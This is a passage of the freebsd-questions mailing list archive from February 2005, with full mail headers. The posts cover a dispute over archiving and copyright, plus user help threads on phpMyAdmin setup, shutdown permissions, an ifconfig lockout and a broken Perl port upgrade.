begin with. I've almost never found anything useful when searching the archives, and even when I have, it takes longer to find it in the archives than it does to just ask the question again. DG> So it helps the copyright situation, but breaks the usefulness of DG> any archive. The copyright situation is an unavoidable legal mandate, not an option. You cannot defend against an infringement action by saying that respecting copyright would have been inconvenient for you. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:17:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 650BE16A4CE for ; Mon, 7 Feb 2005 16:17:41 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id D976F43D41 for ; Mon, 7 Feb 2005 16:17:40 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id z35so741579rne for ; Mon, 07 Feb 2005 08:17:39 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=WXs03HPMXBUVXHWfIGnYFVwJ8fxBIk2c6JDgQcBDpwzDMCFrUKAxWo4QKuSS9QSNIFl8TIdS2cRbfyJnL+uzl5zgg47/Fso18+TLTq+8QZJZK2OtTxHxPgCAD/KrcLj4r8nV4azQzOolI9Q9sQmYb4Vk+iqXvkQ0loYHGfCeB58= Received: by 10.38.150.58 with SMTP id x58mr130182rnd; Mon, 07 Feb 2005 08:17:39 -0800 (PST) Received: by 10.38.101.19 with HTTP; Mon, 7 Feb 2005 08:17:39 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 10:17:39 -0600 From: Eric Kjeldergaard To: freebsd-questions@freebsd.org In-Reply-To: <849739867.20050207170757@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:17:41 -0000 > Archiving messages without telling subscribers > about it and requiring them to agree with it only invites trouble. http://lists.freebsd.org/mailman/listinfo/freebsd-questions This is the page on which you sign up. You'll notice it says this in the about: This is the mailing list for questions about FreeBSD. You should not send "how to" questions to the technical lists unless you consider the question to be pretty technical. To see the collection of prior postings to the list, visit the freebsd-questions Archives. Since we are discussing implicit contracts, I would think that the announcement that the collection of prior postings is linked to and mentioned/described to be reasonable notification that the mailing list gets archived. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:22:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 934D316A4CE for ; Mon, 7 Feb 2005 16:22:45 +0000 (GMT) Received: from smtpout.mac.com (smtpout.mac.com [17.250.248.83]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4F24743D3F for ; Mon, 7 Feb 2005 16:22:45 +0000 (GMT) (envelope-from rosewoodblues@mac.com) Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (8.12.6/MantshX 2.0) with ESMTP id j17GMi9k020577; Mon, 7 Feb 2005 08:22:44 -0800 (PST) Received: from [10.0.1.2] (c-24-98-140-190.atl.client2.attbi.com [24.98.140.190]) (authenticated bits=0)j17GMhks004884; Mon, 7 Feb 2005 08:22:44 -0800 (PST) In-Reply-To: <810a540e0502070812378f1c54@mail.gmail.com> References: <810a540e0502070812378f1c54@mail.gmail.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <597fa17762930ea8d79c0b2c55d16428@mac.com> Content-Transfer-Encoding: 7bit From: Ken Hawkins Date: Mon, 7 Feb 2005 11:22:41 -0500 To: Pat Maddox X-Mailer: Apple Mail (2.619.2) cc: freebsd-questions@freebsd.org Subject: Re: Unable to get phpMyAdmin working X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:22:45 -0000 do you have a php.ini file? what version of apache are you running? did you set up the Ailas in httpd.conf as well as define its access? Alias /phpmyadmin/ "/usr/local/www/phpMyAdmin/" /phpMyAdmin"> Options Indexes MultiViews AllowOverride None Order allow,deny Allow from all what is the error in your http error log and/or phperr log file? you will probably see a undefined error somewhere, at least this is what I saw and i have a php.ini file in place. make sure you have: .:/php/includes in you include_path and/or move the php.ini file out of /usr/local/etc dir and restart apache (not graceful as this haas been an issue for leaving the php ini stuff loaded in the past) to see what happens. I am making a stab at your problem here ad might be way, WAY off base however you will have log info in /var/log(your logging dir default) for apache and php (phperr) let us know what is in those logs and I can help out a bit more. recently ran the gauntlet of php installation hell earlier. ken; On Feb 7, 2005, at 11:12 AM, Pat Maddox wrote: > I just installed phpMyAdmin from ports, and it didn't look like I > needed to make any changes to the config file. Initially I set the > authorization type as http, but when it wasn't working, I specified > the root username and password and tried config instead. I get this > error: > > phpMyAdmin was unable to read your configuration file! > This might happen if php finds a parse error in it or php cannot find > the file. > Please call the configuration file directly using the link below and > read the php error message(s) that you receive. In most cases a quote > or a semicolon is missing somewhere. > If you receive a blank page, everything is fine. > > So then I click on the link to config.inc.php like it says, and it's a > blank page. So everything should be fine...but it's definitely not. > Any clue what I need to do? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:30:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 78F5F16A4CE for ; Mon, 7 Feb 2005 16:30:26 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id CE69A43D5A for ; Mon, 7 Feb 2005 16:30:25 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id z35so743699rne for ; Mon, 07 Feb 2005 08:30:25 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=V4R+C6h8EQVsaurC7WNKo2WlBcBK3xlPBNQVv/WW0CZCoOocEdM98BDcv4r9Hivj5UrgYHkHyr0sAvnLEsvdpIxkpUmTe39pXljAVQzhJ/+IDNjfdmZZnJfhvcMa+YBp7QetW/OUj+Pdz7CFhial62SPGRj8Qlf4njhjO8I2Ckc= Received: by 10.39.2.49 with SMTP id e49mr12132rni; Mon, 07 Feb 2005 08:30:25 -0800 (PST) Received: by 10.38.101.19 with HTTP; Mon, 7 Feb 2005 08:30:25 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 10:30:25 -0600 From: Eric Kjeldergaard To: freebsd-questions@freebsd.org In-Reply-To: <1165136567.20050207171314@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502061420.24415.krinklyfig@spymac.com> <1165136567.20050207171314@wanadoo.fr> Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:30:26 -0000 > EK> Let us make an analogue betwixt our Valerie and one who submits to the > EK> local newspaper. There is a roughly equal level of consent given in > EK> both cases ... > > Not so, on two points: (1) the newspaper is obviously available to > anyone (it's on the newsstands), and not only to a selected group, and Not always so, I know of many newspapers that go to subscribers only (which local libraries are often among). This is especially true of places without newstands. > (2) the messages to the newspaper appear in print and are thus much less > ephemeral than e-mail messages. I think there may be a fundamental misunderstanding of media going on here. Newspapers are printed on newspaper which gives them a very short lifespan. More importantly, e-mail by its nature is delivered to mail servers which almost without exception store the mail to a persistent data store (often an hard disk). In this way, mail is archived (sometimes nearly permanently) and is not ephemeral at all. I have mail myself that dates back some 5 years, as long as I've been a computer user. > A person sending a letter to a > newspaper knows that everyone may see it, because he saw the newspaper > on the newsstands--that's how newspapers are. He also knows that his > letter may be archived, because newspapers are on paper and are often > kept in morgues indefinitely. Though this simply isn't how all newspapers are, one posting to a public (meaning without exception anyone wishing to may subscribe to it) mailing list knows that the submission may be archived (for instance because the sign-up page references that all posts are archived). The person also knows that anyone (not everyone in this case because that would be spam) may see it because anyone may have requested the mailing list mail. Further, there is no way for the person submitting the message to know who or how many people will see it nor for how long they will keep it. [Snip for lack of current relevance] > Many periodicals impose conditions on anyone writing letters to the > editor, which they clearly state in the same place where they give > instructions on how to send letters to the editor. Many also do not. The common theme is only that they give a method for submission (as mailing lists do). Envisioning the paper I was thinking of (I'm from a small town), it suits your model much better in that it is only given to subscribers and does not go into detail on special requirements for submissions, it simply says that "If you would like to submit, please send to " and the address. You city folk complicate things. In this sort of instance, it still seems unlikely that a submitter could request that their submission be removed from existence, especially the libraries archive. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:32:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D091216A4CE for ; Mon, 7 Feb 2005 16:32:15 +0000 (GMT) Received: from lupin.angrypanda.net (adsl-69-214-226-242.dsl.chmpil.ameritech.net [69.214.226.242]) by mx1.FreeBSD.org (Postfix) with ESMTP id 51B3443D3F for ; Mon, 7 Feb 2005 16:32:15 +0000 (GMT) (envelope-from philipp1@angrypanda.net) Received: by lupin.angrypanda.net (Postfix, from userid 1001) id B326528422; Mon, 7 Feb 2005 10:31:54 -0600 (CST) Date: Mon, 7 Feb 2005 10:31:54 -0600 From: Anthony Philipp To: freebsd-questions@freebsd.org, rasputnik@hellooperator.net Message-ID: <20050207163154.GA93756@lupin.angrypanda.net> References: <20050207120100.15C3616A52D@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050207120100.15C3616A52D@hub.freebsd.org> User-Agent: Mutt/1.4.2.1i Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:32:15 -0000 > Date: Mon, 7 Feb 2005 11:49:22 +0000 > From: Dick Davies > Subject: Re: Very general shutdown question > To: FreeBSD Questions > Message-ID: <20050207114922.GJ473@eris.tenfour> > Content-Type: text/plain; charset=us-ascii > > * Steven [0203 23:03]: > > Hello Ned, > > > > you can add the user to the operator group. it is possible to run > > shutdown then (but not halt etc). > > Be caneful of that, I think operator has other privileges too > (can read from any disk for starters). Can't you just install sudo and give them permission to sudo shutdown. If it needs to be scripted you can do it so it doesn't ask for a password. > > > > You could also create a shutdown user with a login shell pointing to a > > shutdown script. > > But that won't work if they still don't have permission to run it... Hopefully this would allow them to shutdown. Anthony Philipp From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:36:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 61C4716A4CE for ; Mon, 7 Feb 2005 16:36:47 +0000 (GMT) Received: from thingy.apana.org.au (thingy.apana.org.au [203.12.237.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id DBC2543D41 for ; Mon, 7 Feb 2005 16:36:46 +0000 (GMT) (envelope-from fun@thingy.apana.org.au) Received: from fun by thingy.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1CyBsT-0002sd-00 for ; Tue, 08 Feb 2005 03:36:45 +1100 Date: Tue, 8 Feb 2005 03:36:45 +1100 To: freebsd-questions@freebsd.org Message-ID: <20050207163645.GK21722@thingy.apana.org.au> References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> <20050207161015.GH21722@thingy.apana.org.au> <399973539.20050207171622@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <399973539.20050207171622@wanadoo.fr> User-Agent: Mutt/1.5.6+20040907i From: David Gerard Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:36:47 -0000 Anthony Atkielski (atkielski.anthony@wanadoo.fr) [050208 03:16]: > David Gerard writes: > DG> That would sorta suck. I know I write my questions and answers with > DG> a view to them being searchable on the web maybe months or years > DG> later, as I know how very grateful I am to those whose archived > DG> words have helped me before. > Having to search an archive of e-mail messages as a substitute for real > support sucks to begin with. I've almost never found anything useful > when searching the archives, and even when I have, it takes longer to > find it in the archives than it does to just ask the question again. I go to a site called google.com and I enter error messages verbatim, and often what comes back is a pile of mailing list posts. They are far superior to nothing. > DG> So it helps the copyright situation, but breaks the usefulness of > DG> any archive. > The copyright situation is an unavoidable legal mandate, not an option. > You cannot defend against an infringement action by saying that > respecting copyright would have been inconvenient for you. Of course. However, I am pointing out that the searchable archive on the web is a fantastically useful thing and worth trying to preserve, not a minor detail not worth considering in the search for a resolution. - d. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:37:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3CF7016A4CE for ; Mon, 7 Feb 2005 16:37:41 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id CC26243D1D for ; Mon, 7 Feb 2005 16:37:40 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0906.wanadoo.fr (SMTP Server) with ESMTP id 52A681C00212 for ; Mon, 7 Feb 2005 17:37:39 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0906.wanadoo.fr (SMTP Server) with ESMTP id 00F781C001EA for ; Mon, 7 Feb 2005 17:37:38 +0100 (CET) X-ME-UUID: 20050207163739404.00F781C001EA@mwinf0906.wanadoo.fr Date: Mon, 7 Feb 2005 17:37:36 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1069313008.20050207173736@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:37:41 -0000 Eric Kjeldergaard writes: EK> To see the collection of prior postings to the list, visit the EK> freebsd-questions Archives. EK> EK> Since we are discussing implicit contracts, I would think that the EK> announcement that the collection of prior postings is linked to and EK> mentioned/described to be reasonable notification that the mailing EK> list gets archived. It's not. And there must be no other way of subscribing in order for this method to be valid, anyway. Why do you think that software companies and Web sites and other organizations require you to check a box to accept terms and conditions, instead of just assuming that you read and understand them when they are displayed? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:39:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3276016A4CE for ; Mon, 7 Feb 2005 16:39:41 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.206]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3EBC843D5A for ; Mon, 7 Feb 2005 16:39:40 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so754471wri for ; Mon, 07 Feb 2005 08:39:36 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=HsrjpntUWY28JUmk0g8ieNHY+B1XzcPF0dRyHoalmtgVN2uxgXRGvGCIVzAUDjXGv90XvzRK1SswLqcZF/B7jOHXVjMtcyMxiBOET+C1+Cv4OjYjEz+KzlYKM/spRfhXaJR2+wtppEVVBrK9qyU0ab8gOCOsfGotAjgTFYPNX/U= Received: by 10.54.57.28 with SMTP id f28mr66821wra; Mon, 07 Feb 2005 08:39:36 -0800 (PST) Received: by 10.54.42.28 with HTTP; Mon, 7 Feb 2005 08:39:36 -0800 (PST) Message-ID: <810a540e05020708397bd9c10e@mail.gmail.com> Date: Mon, 7 Feb 2005 09:39:36 -0700 From: Pat Maddox To: freebsd-questions@freebsd.org In-Reply-To: <597fa17762930ea8d79c0b2c55d16428@mac.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <810a540e0502070812378f1c54@mail.gmail.com> <597fa17762930ea8d79c0b2c55d16428@mac.com> Subject: Re: Unable to get phpMyAdmin working X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:39:41 -0000 I managed to get it working by chowning the entire phpMyAdmin dir to www:www. Not sure if that's the best thing, but it works. On Mon, 7 Feb 2005 11:22:41 -0500, Ken Hawkins wrote: > do you have a php.ini file? what version of apache are you running? did > you set up the Ailas in httpd.conf as well as define its access? > > Alias /phpmyadmin/ "/usr/local/www/phpMyAdmin/" > > /phpMyAdmin"> > Options Indexes MultiViews > AllowOverride None > Order allow,deny > Allow from all > > > what is the error in your http error log and/or phperr log file? you > will probably see a undefined error somewhere, at least this is what I > saw and i have a php.ini file in place. > > make sure you have: > > .:/php/includes > > in you include_path and/or move the php.ini file out of /usr/local/etc > dir and restart apache (not graceful as this haas been an issue for > leaving the php ini stuff loaded in the past) to see what happens. > > I am making a stab at your problem here ad might be way, WAY off base > however you will have log info in /var/log(your logging dir default) > for apache and php (phperr) let us know what is in those logs and I can > help out a bit more. recently ran the gauntlet of php installation hell > earlier. > > ken; > > On Feb 7, 2005, at 11:12 AM, Pat Maddox wrote: > > > I just installed phpMyAdmin from ports, and it didn't look like I > > needed to make any changes to the config file. Initially I set the > > authorization type as http, but when it wasn't working, I specified > > the root username and password and tried config instead. I get this > > error: > > > > phpMyAdmin was unable to read your configuration file! > > This might happen if php finds a parse error in it or php cannot find > > the file. > > Please call the configuration file directly using the link below and > > read the php error message(s) that you receive. In most cases a quote > > or a semicolon is missing somewhere. > > If you receive a blank page, everything is fine. > > > > So then I click on the link to config.inc.php like it says, and it's a > > blank page. So everything should be fine...but it's definitely not. > > Any clue what I need to do? > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" > > > > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:46:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A6CB616A4CE for ; Mon, 7 Feb 2005 16:46:15 +0000 (GMT) Received: from complex.heavybit.com (complex.heavybit.com [216.127.86.87]) by mx1.FreeBSD.org (Postfix) with ESMTP id 358E743D2F for ; Mon, 7 Feb 2005 16:46:15 +0000 (GMT) (envelope-from ken@rosewoodblues.com) Received: from [10.0.1.2] (c-24-98-140-190.atl.client2.attbi.com [24.98.140.190]) (authenticated) by complex.heavybit.com (8.11.6/8.11.6) with ESMTP id j17GkEl11263 for ; Mon, 7 Feb 2005 08:46:14 -0800 Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: <1fc9b506f617981d9f5a1fafbcb76826@rosewoodblues.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: " " From: Ken Hawkins Date: Mon, 7 Feb 2005 11:46:13 -0500 X-Mailer: Apple Mail (2.619.2) Subject: undoing ifconfig plumb? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:46:15 -0000 is this possible? i have a box that is unreachable now after I had ran ifconfig em0 plumb command. I am in the midst of setting up a box that has multiple ip's on a single ethernet connection with differing subnet masks however, in the midst i got botted off the box (ssh kick) and BANG cannot get back in! ssh: connect to host web1.prosoundweb.com port 22: No route to host I need to undo my screw up here. can anyone help out? thanks, ken; From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:50:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CCAE416A4CE for ; Mon, 7 Feb 2005 16:50:35 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7A9FF43D1D for ; Mon, 7 Feb 2005 16:50:35 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 988251C000A7 for ; Mon, 7 Feb 2005 17:50:34 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 5A1431C000AD for ; Mon, 7 Feb 2005 17:50:34 +0100 (CET) X-ME-UUID: 20050207165034369.5A1431C000AD@mwinf1109.wanadoo.fr Date: Mon, 7 Feb 2005 17:50:34 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <15310210442.20050207175034@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502061420.24415.krinklyfig@spymac.com> <1165136567.20050207171314@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:50:35 -0000 Eric Kjeldergaard writes: EK> Not always so, I know of many newspapers that go to subscribers only EK> (which local libraries are often among). This is especially true of EK> places without newstands. It doesn't matter where they go. It only matters where they may be expected to go by someone writing to the newspaper. EK> I think there may be a fundamental misunderstanding of media going on EK> here. A mailing list isn't the press. EK> Newspapers are printed on newspaper which gives them a very EK> short lifespan. Most libraries and newspapers have archives going back for decades. EK> More importantly, e-mail by its nature is delivered to mail servers EK> which almost without exception store the mail to a persistent data EK> store (often an hard disk). In this way, mail is archived (sometimes EK> nearly permanently) and is not ephemeral at all. These archives are not accessible to the general public. Note that it is perfectly possible to set up a mailing list that forbids local archiving, or any archiving at all. Some mailing lists have good reason to do this. EK> Many also do not. They take a greater risk. EK> You city folk complicate things. The larger the world, the more complex it becomes. And the Internet covers the planet. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:53:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0ACB616A4D2 for ; Mon, 7 Feb 2005 16:53:20 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id AEE7443D48 for ; Mon, 7 Feb 2005 16:53:19 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id C793A1C00045 for ; Mon, 7 Feb 2005 17:53:18 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 916AE1C00088 for ; Mon, 7 Feb 2005 17:53:18 +0100 (CET) X-ME-UUID: 20050207165318595.916AE1C00088@mwinf1104.wanadoo.fr Date: Mon, 7 Feb 2005 17:53:18 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <351293826.20050207175318@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050207163645.GK21722@thingy.apana.org.au> References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> <20050207161015.GH21722@thingy.apana.org.au> <399973539.20050207171622@wanadoo.fr> <20050207163645.GK21722@thingy.apana.org.au> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:53:20 -0000 David Gerard writes: DG> I go to a site called google.com and I enter error messages DG> verbatim, and often what comes back is a pile of mailing list posts. DG> They are far superior to nothing. No doubt, but they are far inferior to a formal, well-organized support system. The lack of support and accountability is FreeBSD's greatest handicap for corporate and mission-critical use. Certainly, the OS is solid and reliable; but if and when it fails, there's nowhere to turn. This same problem afflicts just about all open-source software, and will prove to be a limiting factor in the adoption of open source for the forseeable future. DG> Of course. However, I am pointing out that the searchable archive on DG> the web is a fantastically useful thing and worth trying to DG> preserve, not a minor detail not worth considering in the search for DG> a resolution. You can preserve it if you place it in the proper framework. But you must also recognize that you may not be able to organize it exactly as you wish without infringing the rights of others. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:03:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9C66F16A4CE for ; Mon, 7 Feb 2005 17:03:40 +0000 (GMT) Received: from ms-smtp-01-eri0.ohiordc.rr.com (ms-smtp-01-smtplb.ohiordc.rr.com [65.24.5.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id E7CDB43D31 for ; Mon, 7 Feb 2005 17:03:39 +0000 (GMT) (envelope-from dmehler26@woh.rr.com) Received: from satellite (dhcp065-031-041-029.woh.rr.com [65.31.41.29]) j17H3bHu010330 for ; Mon, 7 Feb 2005 12:03:37 -0500 (EST) Message-ID: <002201c50d36$c27e4f60$0400a8c0@satellite> From: "dave" To: Date: Mon, 7 Feb 2005 12:02:08 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Virus-Scanned: Symantec AntiVirus Scan Engine Subject: perl upgrade broke 5.3 system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dave List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:03:40 -0000 Hello, I just updated ports after being away for two weeks. The update process itself went fine, my problem came when i ran the command to update perl-dependent ports as suggested in /usr/ports/UPDATING. I got a bunch of failed updates, php4-extensions, and any of my p5* ports, apache2, subversion, ices, etc. I've tried manually running portupgrade packagename but all i get is a prompt, it's as if portupgrade thinks everything is updated, but dependent perl ports are not working. The noticer was when MailScanner couldn't find SpamAssassin although the latest version of both ports are installed. On another question when i install a port if it installs dependencies and those are only needed by that port, when i uninstall the port i'd like to updte and remove those dependencies as well, is this doable? Some urgency! Thanks. Dave. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:07:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DA0E416A4CE for ; Mon, 7 Feb 2005 17:07:55 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0FE8543D2D for ; 